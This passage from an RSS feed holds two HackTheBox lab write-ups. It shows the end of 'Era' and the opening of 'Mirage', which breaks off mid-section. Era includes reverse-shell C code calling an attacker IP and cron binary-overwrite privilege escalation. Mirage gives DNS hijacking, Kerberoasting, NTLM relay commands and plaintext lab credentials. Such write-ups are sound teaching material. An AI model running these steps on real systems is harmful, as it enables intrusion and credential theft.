PID=9846   | /bin/bash /root/initiate_monitoring.sh</pre><p>Key findings:</p><ul><li>A <strong>cron</strong> job triggers /root/initiate_monitoring.sh every minute.</li><li>The script uses objcopy to extract the .text_sig section from the monitor binary.</li><li>This strongly suggests <strong>signature validation</strong> of the binary prior to execution.</li><li>Since monitor resides in a directory owned by root:devs and is writable by the devs group, user eric (a member of devs) can overwrite it, but only if the replacement includes a valid signature section.</li></ul><h4>Option 1: Reusing the Extracted Signature for a Malicious Binary</h4><ul><li>Extracting the .text_sig section into text_sig_section.bin:</li></ul><pre>cd /dev/shm</pre><pre>objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oYFLT8q_2fHD4_ldfEbAEA.png" /><figcaption>Extracting text_sig_section.bin</figcaption></figure><p>After extracting the .text_sig section into text_sig_section.bin, a custom reverse-shell binary was created locally:</p><pre>#include &lt;unistd.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;stdio.h&gt;<br><br>int main(void) {<br>    setuid(0);<br>    setgid(0);<br>    seteuid(0);<br>    setegid(0);<br>    system(&quot;/bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.10.14.145/9002 0&gt;&amp;1&#39;&quot;);<br>    return 0;<br>}</pre><p><strong>Building and Preparing the Malicious Binary</strong></p><ul><li>On our local machine:</li></ul><pre>gcc monitor_shell.c -o monitor_shell</pre><pre>python -m http.server</pre><ul><li>On the target machine:</li></ul><pre>cd /dev/shm</pre><pre>wget http://10.10.14.145:8000/monitor_shell</pre><pre>objcopy --add-section .text_sig=text_sig_section.bin monitor_shell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5tfsP7XZtoOyJxIrbe4WDw.png" /><figcaption>Building &amp; Preparing the Malicious Binary</figcaption></figure><ul><li>The listener was started:</li></ul><pre>nc -nlvp 9002</pre><ul><li>The malicious binary is then copied over monitor binary file:</li></ul><pre>cat monitor_shell &gt; /opt/AV/periodic-checks/monitor</pre><ul><li>Within <em>one cron cycle</em>, a <strong>root reverse shell</strong> was obtained and we can obtain the <strong>root flag</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2-udmtnDszfE-9U19VoZhA.png" /><figcaption>Getting a Root Reverse Shell</figcaption></figure><h4>Option 2: Creating a Fully Valid Signed Binary Using Provided Keys</h4><ul><li>The previously downloaded signing.zip archive contained key.pem and x509.genkey</li><li>These files enable the creation of a <strong>properly signed</strong> binary that passes the system’s integrity check.</li></ul><p><strong>Steps to Build a Signed Malicious Binary:</strong></p><ul><li>On the local machine:</li></ul><pre>mkdir monitor_bin &amp;&amp; cd monitor_bin</pre><ul><li>Using vim editor create a file vi monitor_shell.c and copy the contents below:</li></ul><pre>#include &lt;unistd.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;stdio.h&gt;<br><br>int main(void) {<br>    setuid(0);<br>    setgid(0);<br>    seteuid(0);<br>    setegid(0);<br>    system(&quot;/bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.10.14.145/9003 0&gt;&amp;1&#39;&quot;);<br>    return 0;<br>}</pre><ul><li>Compile the monitor_shell.c binary:</li></ul><pre>gcc monitor_shell.c -o monitor_shell</pre><ul><li>Generate a self-signed certificate:</li></ul><pre>openssl req -new -x509 -key ../signing/key.pem -out cert.pem -days 365 -config ../signing/x509.genkey</pre><blockquote><strong>Explanation:</strong></blockquote><blockquote>The above command creates a new <strong>self-signed x.509</strong> certificate (cert.pem) using the private key key.pem. The certificate is valid for 365 days and uses the settings defined in the OpenSSL config file x509.genkey. This certificate will be used to sign the malicious binary.</blockquote><ul><li>Sign the binary using <strong>Cryptographic Message Syntax (CMS):</strong></li></ul><pre>openssl cms -sign -in monitor_shell -signer cert.pem -inkey ../signing/key.pem -outform DER -out text_sig_section.sig -nodetach -nosmimecap -nocerts -noattr</pre><blockquote><strong>Explanation:</strong></blockquote><blockquote>The above command digitally signs the monitor_shell binary using the certificate cert.pem and the private key key.pem.</blockquote><blockquote>The output is a <strong>CMS</strong> signature in <strong>DER</strong> format stored in text_sig_section.sig.</blockquote><blockquote>The flag -nodetach embeds the signature directly with the data (no detached signature).</blockquote><blockquote>The flags -nosmimecap, -nocerts, -noattr produces a minimal signature without <em>extra metadata</em>, <em>certificates</em> or <em>attributes</em>.</blockquote><ul><li>Embed the signature into the binary:</li></ul><pre>objcopy --add-section .text_sig=text_sig_section.sig --set-section-flags .text_sig=readonly monitor_shell</pre><ul><li>Host the binary for upload on the target machine:</li></ul><pre>python -m http.server</pre><ul><li>On the target machine:</li></ul><pre>cd /opt/AV/periodic-checks</pre><pre>wget http://10.10.14.145:8000/monitor_shell</pre><pre>cat monitor_shell &gt; monitor</pre><ul><li>Start a listener on the local machine:</li></ul><pre>nc -nlvp 9003</pre><ul><li>Once the cron job executed, a <strong>second root shell</strong> was received and we can read the <strong>root flag</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CHylQdivqAezu7lAhZTdPQ.png" /><figcaption>Obtaining a Second Root Shell</figcaption></figure><h3>Conclusion</h3><p>The <strong><em>Era</em></strong> machine delivers a realistic, well-designed progression of vulnerabilities that demonstrate how small weaknesses can be chained into a full system compromise. <em>Initial enumeration</em> exposed <strong>weak access controls</strong> and an <strong>IDOR</strong> flaw that granted access to <em>sensitive backups</em> and <em>signing materials</em>.</p><p>The standout challenge was the privilege-escalation mechanism: a <strong>recurring cron job</strong> validating a <strong>custom-signed</strong> binary. By extracting the signature workflow and crafting a malicious binary with a legitimate-looking signature, we bypassed the system’s integrity checks and achieved <strong>root access</strong>.</p><p>Overall, <strong><em>Era</em></strong> is a perfect reminder that when access controls are weak and internal security checks are taken on faith, an attacker can stroll through the system like they’ve been handed the VIP pass. <em>Hasta pronto mis amigos</em>!😎</p><h3>References</h3><ul><li><a href="https://www.php.net/manual/en/wrappers.ssh2.php">SSH2 Wrappers</a></li><li><a href="https://github.com/DominicBreuker/pspy">pspy tool</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39501b950c62" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Mirage Writeup]]></title>
            <link>https://medium.com/@natius/htb-mirage-writeup-51e714d4dbf8?source=rss-2b663cf34d6------2</link>
            <guid isPermaLink="false">https://medium.com/p/51e714d4dbf8</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Natius]]></dc:creator>
            <pubDate>Fri, 28 Nov 2025 17:51:47 GMT</pubDate>
            <atom:updated>2025-11-29T04:34:29.052Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*pZXgTQDhQSnCl85Wjl1sGw.jpeg" /><figcaption>Mirage Machine</figcaption></figure><p><strong><em>Mirage</em></strong> is a Windows Active Directory machine that demonstrates how several small misconfigurations can combine into a complete domain compromise. The assessment begins with an <strong>unexpectedly exposed NFS share</strong> containing sensitive internal documents, which provides initial insight into the environment. Further enumeration reveals that a <strong>key DNS record</strong> has been automatically removed, and the <strong>DNS server accepts insecure dynamic updates</strong>. This allows us to recreate the missing record and intercept communication intended for the domain’s <strong>NATS service</strong>.</p><p>By monitoring this traffic, we obtain valid domain credentials and use them to progress through multiple stages of the network. These include <strong>Kerberoasting</strong>, accessing the Domain Controller through WinRM, performing a<strong> cross-session NET-NTLMv2 relay</strong> to obtain credentials, and <strong>retrieving gMSA hash</strong>. Additional misconfigurations in the <strong>Active Directory Certificate Services (AD CS)</strong>, particularly around <strong>UPN mapping</strong> and certificate validation, enable <strong>ESC10 attack</strong> that ultimately grants us the ability to perform <strong>DCSync</strong> and obtain full Domain Administrator privileges.</p><h3>About Mirage</h3><ul><li><strong>OS</strong>: <em>Windows</em></li><li><strong>Difficulty</strong>: <em>Hard</em></li><li><strong>Release Date</strong>: <em>19 Jul, 2025</em></li></ul><h3>Environment Setup</h3><ul><li>Prepare a simple working directory to keep all files organized and create a dedicated folder for the <strong><em>Mirage </em></strong>machine along with a sub-directory for <strong>Nmap</strong> results:</li></ul><pre>cd ~/HTB</pre><pre>mkdir -p Mirage/nmap</pre><pre>cd Mirage</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PGCOIEuB8zFDUyaFcQZYBg.png" /><figcaption>Setting up the Working Environment</figcaption></figure><h3>Network Discovery and Enumeration</h3><ul><li>Confirm that the target machine is reachable by sending a few ICMP echo requests.</li></ul><pre>ping -c 3 10.10.11.78</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pfYuJM97oFk1tkGBsn0feg.png" /><figcaption>Ping the Target Machine</figcaption></figure><ul><li>A comprehensive Nmap scan was performed to identify exposed <strong>ports</strong> and <strong>services:</strong></li></ul><pre>sudo nmap -sCV -vv -oN nmap/mirage.nmap 10.10.11.78</pre><p>Key findings from Nmap :</p><ul><li><strong>DNS (53)</strong> — <em>Name resolution services for the domain.</em></li><li><strong>Kerberos (88, 464)</strong> —<em> Authentication</em>.</li><li><strong>LDAP (389, 636, 3268, 3269) </strong>— <em>Directory services</em>.</li><li><strong>SMB (445, 139)</strong> — <em>File sharing and remote management</em>.</li><li><strong>RPC (135, 593)</strong> — <em>Remote system services</em>.</li><li><strong>WinRM (5985)</strong> — <em>Remote shell access</em>.</li><li><strong>NFS (11, 2049) </strong>—<em> Unexpected. Usually not found on Windows DCs. </em><strong><em>NFS v2/3/4</em></strong><em> running.</em></li></ul><p>From the LDAP banners:</p><ul><li><strong>Domain </strong>— mirage.htb</li><li><strong>Hostnames </strong>— dc01.mirage.htb, mirage.htb</li><li><strong>Presence of an Internal Certificate Authority</strong>: mirage-DC01-CA</li></ul><p><strong>TTL value (127)</strong> indicates the target is likely a Windows Server OS (<em>default TTL 128</em>), and is a single hop away from the attacking machine.</p><p>The discovery of mirage-DC01-CA suggests <strong>Active Directory Certificate Services (AD CS</strong>) are enabled, opening potential vectors for certificate-based attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UjgFQSdgHkJIonlenM3JRg.png" /><figcaption>Nmap Enumeration</figcaption></figure><h3>Hostname Enumeration</h3><h4>SMB-Based Host Discovery</h4><ul><li>Query the target host using NetExec , generate a <strong>host mapping file</strong> that contains information about the system’s <strong>fully qualified domain name (FQDN)</strong> and <strong>NetBIOS name</strong>, add the information to /etc/hosts for local resolution and delete the mirage_hosts file, since it’s not required.</li></ul><pre>nxc smb 10.10.11.78 --generate-hosts-file mirage_hosts &amp;&amp; awk &#39;{print $1, $2, $3, $4}&#39; mirage_hosts | sudo tee -a /etc/hosts &amp;&amp; rm mirage_hosts</pre><ul><li><strong>NTLM</strong> authentication is disabled, so we now access systems using their <strong>FQDN</strong>s</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-0AiC6i-bWrH8FvpzQpo8Q.png" /><figcaption>SMB Host Discovery Workflow</figcaption></figure><h3>NFS Shares Enumeration</h3><h4>Initial NFS Discovery using showmount</h4><ul><li>Listing all mount points accessible on the target server:</li></ul><pre>showmount -a dc01.mirage.htb</pre><ul><li>Enumerating exported NFS shares, revealed that the /MirageReports share is world-readable:</li></ul><pre>showmount -e dc01.mirage.htb</pre><ul><li>Enumerating the directories that have been mounted on the server:</li></ul><pre>showmount -d dc01.mirage.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wqob19hbxDR4BrM1W4gl2g.png" /><figcaption>showmount NFS Share Enumeration</figcaption></figure><h4>NFS Enumeration using NetExec (nxc)</h4><ul><li>Detecting the supported NFS protocol versions: 2, 3, and 4:</li></ul><pre>nxc nfs dc01.mirage.htb</pre><ul><li>Listing the contents of the /MirageReports share:</li></ul><pre>nxc nfs dc01.mirage.htb --share &#39;/MirageReports&#39; --ls &#39;/&#39;</pre><ul><li>Enumerating all available NFS shares on the host:</li></ul><pre>nxc nfs dc01.mirage.htb --enum-shares</pre><h4>File Extraction from NFS Share</h4><ul><li>The Incident Report:</li></ul><pre>nxc nfs dc01.mirage.htb --share &#39;/MirageReports&#39; --get-file Incident_Report_Missing_DNS_Record_nats-svc.pdf Incident_Report_Missing_DNS_Record_nats-svc.pdf</pre><ul><li>The Authentication Hardening Report:</li></ul><pre>nxc nfs dc01.mirage.htb --share &#39;/MirageReports&#39; --get-file Mirage_Authentication_Hardening_Report.pdf Mirage_Authentication_Hardening_Report.pdf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k4--tILDXp_XPJ11LVvy7g.png" /><figcaption>NFS Enumeration and File Extraction</figcaption></figure><h4>Analysis of the Extracted Reports</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mRZxViARhkQI3Q6KapQkng.png" /><figcaption>PDF Analysis</figcaption></figure><ul><li>Incident_Report_Missing_DNS_Record_nats-svc.pdf PDF details a <strong>DNS resolution failure</strong> for the hostname nats-svc.mirage.htb , which is critical for internal communication with the <strong>NATS messaging server</strong>. The report indicates that the hostname could not be resolved, causing connectivity issues with the service. DNS inspection confirmed that the record for nats-svc was missing, and event logs revealed that <strong>DNS scavenging</strong> had automatically removed stale records, likely because the nats-svc machine had been offline for more than <strong>14 days</strong>.</li><li>Meanwhile, the Mirage_Authentication_Hardening_Report.pdf outlines the organization’s planned, phased removal of <strong>NTLM authentication</strong> from the <strong><em>Mirage</em></strong> Active Directory environment. <strong>NTLM</strong>, being a<em> legacy and insecure authentication protocol</em> is vulnerable to attacks. As part of the hardening initiative, <strong><em>Mirage</em></strong> is migrating from <strong>NTLM</strong> to <strong>Kerberos</strong>, a <em>modern, secure and widely recommended authentication protocol</em>.</li></ul><h4>Actionable Steps</h4><ul><li>The reports provided clear direction for actionable steps that could be taken to leverage the identified DNS misconfiguration.</li><li>First, the missing DNS record for nats-svc.mirage.htb could be reintroduced, allowing us to register our own IP address as the service endpoint.</li><li>To validate the issue, DNS queries were performed using nslookup, which confirmed that while other hostnames such as dc01.mirage.htb and mirage.htb resolved correctly, the hostname nats-svc.mirage.htb returned <strong>NXDOMAIN</strong> response, indicating that no DNS record existed.</li></ul><pre><br>&gt; server 10.10.11.78<br>Default server: 10.10.11.78<br>Address: 10.10.11.78#53<br>&gt; mirage.htb<br>Server:         10.10.11.78<br>Address:        10.10.11.78#53<br><br>Name:   mirage.htb<br>Address: 10.10.11.78<br>&gt; dc01.mirage.htb<br>Server:         10.10.11.78<br>Address:        10.10.11.78#53<br><br>Name:   dc01.mirage.htb<br>Address: 10.10.11.78<br>&gt; nats-svc.mirage.htb<br>Server:         10.10.11.78<br>Address:        10.10.11.78#53<br><br>** server can&#39;t find nats-svc.mirage.htb: NXDOMAIN<br>&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tJsGW_BHNFrMEEd_yg1Qrg.png" /><figcaption>Missing DNS Record</figcaption></figure><ul><li>Since the <strong>NATS service</strong> operates on port <strong>4222</strong>, we verified port availability, which confirmed that the port was open and actively listening. This further supports the relevance of <strong>restoring the DNS entry</strong>.</li></ul><pre>nc -zv 10.10.11.78 4222</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s_BXhnDxxM8Cc54ztYxjWw.png" /><figcaption>Listening on Port 4222</figcaption></figure><ul><li>With this information, the missing DNS record is reintroduced using nsupdate , issuing commands to the DNS server at 10.10.11.78 to create an <strong>A record</strong> for nats-svc.mirage.htb pointing to our IP address 10.10.14.241 , with a TTL of 86400 seconds (one day).</li><li>This successfully registered our machine as the endpoint for the hostname.</li><li>Finally, by listening on port 4222 , an inbound connection is received from the domain controller (10.10.11.78), confirming that the service was not only resolving to our IP but was also attempting to communicate with it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NA_zRtOr5K3aNJA0Ftqcrg.png" /><figcaption>Reintroducting the DNS Record</figcaption></figure><ul><li>We proceed by deploying a local NATS server to emulate the internal service.</li><li>This involves cloning the official repository, building the server using Go.</li></ul><pre>git clone https://github.com/nats-io/nats-server.git</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GyJ52kdOwnEiCmShFN23Fg.png" /><figcaption>Installing NATS Server</figcaption></figure><ul><li><strong>NATS server</strong> is launched in debug and verbose mode to monitor the incoming requests:</li></ul><pre>./nats-server -DVV</pre><ul><li>To complement this, Wireshark is started on the <strong>VPN interface</strong> (tun0) so that all incoming <strong>NATS-related traffic</strong> can be captured in real-time.</li></ul><pre>wireshark -i tun0 -k</pre><ul><li>Once monitoring is in place, the missing DNS record is recreated using nsupdate , pointing nats-svc.mirage.htb to our attacker-controlled IP.</li></ul><pre>┌──(nato㉿kali)-[~/HTB/Mirage]  <br>└─$ nsupdate  <br>&gt; server 10.10.11.78  <br>&gt; update add nats-svc.mirage.htb 86400 A 10.10.14.241  <br>&gt; send  </pre><ul><li>This forces internal <strong><em>Mirage</em></strong> services attempting to reach the legitimate <strong>NATS</strong> instance to instead route their traffic directly to us.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hHV9Z-xXJYt1-S4jHcKfEw.png" /><figcaption>NATS Server Logs and DNS Record Recreation</figcaption></figure><ul><li>The intercepted traffic contains clear-text credentials for the user Dev_Account_A . Though, the logs generated by the <strong>NATS</strong> server has a <strong>[Redacted]</strong> value for the password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ULjwMSBT_lXON9cBzwJsiA.png" /><figcaption>Capturing Cleartext Password Using Wireshark</figcaption></figure><ul><li>However, attempts to authenticate against the domain using these credentials via SMB were unsuccessful, indicating the account may be restricted or intended only for internal application use:</li></ul><pre>nxc smb dc01.mirage.htb -u &#39;Dev_Account_A&#39; -p &#39;hx5h7F5554fP@1337!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XoThgLhBQzf9kJcLrH7iZg.png" /><figcaption>Authenticating Dev_Account_A Credentials</figcaption></figure><ul><li>To further leverage this access, the official nats-cli is installed:</li></ul><pre>go install github.com/nats-io/natscli/nats@latest</pre><ul><li>A connection context is configured using the <strong>intercepted developer credentials</strong>:</li></ul><pre>nats context add nato --user Dev_Account_A --password &#39;hx5h7F5554fP@1337!&#39; --server nts://10.10.11.78:4222</pre><ul><li>With this <strong>authenticated context</strong> in place, <strong>NATS</strong> environment is enumerated. The context listing shows only the profile that was created (<em>nato</em>):</li></ul><pre>nats context ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QKRDOQpwKRzt_y8b4TEoAA.png" /><figcaption>Installing nats-cli, creating and listing contexts</figcaption></figure><ul><li>To reveal accessible streams:</li></ul><pre>nats --context nato account info</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jMcl20U4woKB0eGaAErMFg.png" /><figcaption>nato Context Account Information</figcaption></figure><ul><li>This shows there is a single accessible stream.</li><li>Enumeration identifies one named stream auth_logs , and viewing its contents exposes additional clear-text authentication events:</li></ul><pre>nats --context nato stream ls</pre><ul><li>The entries contains valid domain credentials for david.jjackson:</li></ul><pre>nats --context nato stream view</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l5bxyx_ED5AIee_guOMZ_A.png" /><figcaption>Listing and Viewing Stream Content</figcaption></figure><ul><li>Using these credentials, authentication against SMB is successful, confirming domain access:</li></ul><pre>nxc smb dc01.mirage.htb -u &#39;david.jjackson&#39; -p &#39;pN8kQmn6b86!1234@&#39; -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yr0iqozwB3ejMFViadJMWQ.png" /><figcaption>Authenticating david.jjackson Credentials</figcaption></figure><ul><li>From here, we proceed with standard enumeration. Listing shares returns only the <strong>default SMB shares</strong>:</li></ul><pre>nxc smb dc01.mirage.htb -u &#39;david.jjackson&#39; -p &#39;pN8kQmn6b86!1234@&#39; -k --shares</pre><ul><li>Enumerating users with the obtained credentials provides a list of Active Directory users, including <em>administrator accounts</em>, <em>standard user accounts</em>, <em>developer accounts</em> and <em>service accounts:</em></li></ul><pre>nxc smb dc01.mirage.htb -u &#39;david.jjackson&#39; -p &#39;pN8kQmn6b86!1234@&#39; -k --users</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qHDuFedF0SLMbVE9jsTHdg.png" /><figcaption>Enumerating Shares and Users</figcaption></figure><h3>Active Directory Enumeration</h3><ul><li>With valid domain credentials in hand, Rusthound-CE is used to enumerate the Active Directory environment:</li></ul><pre>rusthound-ce -d mirage.htb -u david.jjackson -p &#39;pN8kQmn6b86!1234@&#39; -z</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tzfDwe8bUNFct1q5ID-jlg.png" /><figcaption>Domain Objects Collection Using Rusthound-CE</figcaption></figure><ul><li>Rusthound-CE outputs a BloodHound-compatible ZIP file (-z option), which is analyzed using the Bloodhound interface.</li><li>After launching the BloodHound Docker stack and confirming that the <strong>application, graph database</strong> and <strong>backend services</strong> are running healthy, the Rusthound collection archive is uploaded for visualization.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*quzsNgX4GwKAvvgKD-2pEg.png" /><figcaption>Starting BloodHound Docker Stack</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lcmzqDd1nT6TXAjeKz-hXQ.png" /><figcaption>Uploading the Archive File on BloodHound Web Interface</figcaption></figure><ul><li>Running built-in queries provides an overview of privilege distribution in the domain.</li><li>Searching for david.jjackson user does not reveal any interesting findings:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fyu2wfA28QJQaqfhA1G5dA.png" /><figcaption>david.jjackson Domain Relationship</figcaption></figure><ul><li>The All Domain Admins query returns only the Administrator account, indicating domain-level privileges are tightly controlled.</li><li>The All Kerberoastable Users query identifies nathan.aadam as a principal with an <strong>SPN</strong> suitable for <strong>Kerberoasting:</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dxM3XwySmqXiyyIIs9JSsQ.png" /><figcaption>Enumerating Kerberoastable Users</figcaption></figure><ul><li>To extract Kerberos service tickets for offline cracking, we use NetExec :</li></ul><pre>nxc ldap dc01.mirage.htb -u &#39;david.jjackson&#39; -p &#39;pN8kQmn6b86!1234@&#39; -k --kerberoasting mirage_kerberoast.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p4Dm_vK8NLQ2scNhR8GN_Q.png" /><figcaption>Obtaining Kerberos Ticket for nathan.aadam User Account</figcaption></figure><ul><li>The resulting ticket hash is processed using <strong>Hashcat</strong> tool with mode 131000 . Cracking the hash successfully yields the plaintext password for nathan.aadam :</li></ul><pre>.\hashcat.exe -m 13100 .\HTB\hashes\mirage_kerberoast.txt HTB\wordlists\rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dcWbMbQqKjHTygOBseKC6w.png" /><figcaption>Cracking nathan.aadam Hash with Hashcat</figcaption></figure><ul><li>To reveal the hash:</li></ul><pre>.\hashcat.exe -m 13100 .\HTB\hashes\mirage_kerberoast.txt --show</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pBOXynrCVNftfj3Zf5Kznw.png" /><figcaption>Revealing the plaintext password</figcaption></figure><ul><li>Authentication with the recovered credentials is confirmed via SMB:</li></ul><pre>nxc smb dc01.mirage.htb -u &#39;nathan.aadam&#39; -p &#39;3edc#EDC3&#39; -k</pre><ul><li>With verified access, a <strong>Kerberos configuration file</strong> tailored to the target domain is generated:</li></ul><pre>nxc smb dc01.mirage.htb -u &#39;nathan.aadam&#39; -p &#39;3edc#EDC3&#39; -k --generate-krb5-file krb5.conf</pre><ul><li>This configuration file is copied to /etc/krb5.conf to allow seamless Kerberos authentication:</li></ul><pre>sudo cp krb5.conf /etc/krb5.conf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qpz6T_VpNYCn2Cqcqt8Rvg.png" /><figcaption>nathan.aadam Credential Authentication and krb5.conf configuration</figcaption></figure><h3>Kerberos Access and Cross-Session NTLM Relay Attack</h3><ul><li>We begin by obtaining a Kerberos <strong>Ticket-Granting Ticket (TGT)</strong> using the credentials of nathan.aadam:</li></ul><pre>getTGT.py &#39;mirage.htb/nathan.aadam:3edc#EDC3&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xAYtOFABbt8lsvxgbIjSRA.png" /><figcaption>Obtaining TGT for nathan.aadam</figcaption></figure><ul><li>The <strong>TGT </strong>is used to authenticate to the domain controller over WinRM:</li></ul><pre>KRB5CCNAME=nathan.aadam.ccache evil-winrm -i dc01.mirage.htb -r mirage.htb</pre><ul><li>This grants us, an <strong>interactive shell</strong> on the domain controller as nathan.aadam domain user, from which we are also able to retrieve the <strong><em>user flag</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MyWwsZSiT2lgxvbhgZf7rg.png" /><figcaption>Obtaining an Interactive Shell and User Flag</figcaption></figure><ul><li>Further local enumeration reveals that an <strong>active user session</strong> exists (Session ID 1 on explorer and winlogon processes):</li></ul><pre>Get-Process | Where-Object { $_.SI -eq 1 }</pre><ul><li>Attempts to run commands such as tasklist and qwinsta result in Access Denied error, indicating token or privilege restrictions.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nME7QQN5MFHFve12RR9QIA.png" /><figcaption>Local Enumeration</figcaption></figure><ul><li>There is confirmation of a logged-in user however, enumeration of session details directly is prohibited.</li><li>RunasCs.exe binary is uploaded and used to bypass limitations and execute commands under the current user’s token.</li><li>The binary needs to be hosted locally:</li></ul><pre>cp /opt/SharpCollection/NetFramework_4.5_Any/_RunasCs.exe runascs.exe</pre><pre>python -m http.server</pre><ul><li>It is then downloaded and run on the domain controller:</li></ul><pre>cd \ProgramData</pre><pre>wget http://&lt;YOUR_IP&gt;:8000/runascs.exe -o runascs.exe</pre><pre>./runascs.exe nathan.aadam &#39;3edc#EDC3&#39; qwinsta</pre><ul><li>The execution successfully enumerates sessions and reveals that mark.bbond is currently logged in on <strong><em>Session 1.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IHu5fkHh6WOxVHbBWKwOFg.png" /><figcaption>Uploading runascs.exe and Enumerating Session</figcaption></figure><ul><li>With confirmation of the logged-in user, C<strong><em>ross-Session NTLM relay </em></strong>is performed using RemotePotato0 , which exploits forced authentication from a higher-privileged session to our attacker machine.</li></ul><pre>wget https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/RemotePotato0.zip</pre><pre>7z x RemotePotato0.zip</pre><pre>python -m http.server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cOIE3K8bO8Dq0B6kM28oJg.png" /><figcaption>Downloading RemotePotato0</figcaption></figure><ul><li>On the remote host, the exploit is uploaded and executed:</li></ul><pre>wget http://&lt;YOUR_IP&gt;:8000/RemotePotato0.exe -o RemotePotato0.exe</pre><pre>.\RemotePotato0.exe -m 2 -x &lt;YOUR_IP&gt; -s 1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_s9WRZyxkF3Eu7Zu-2WKdQ.png" /><figcaption>Hosting 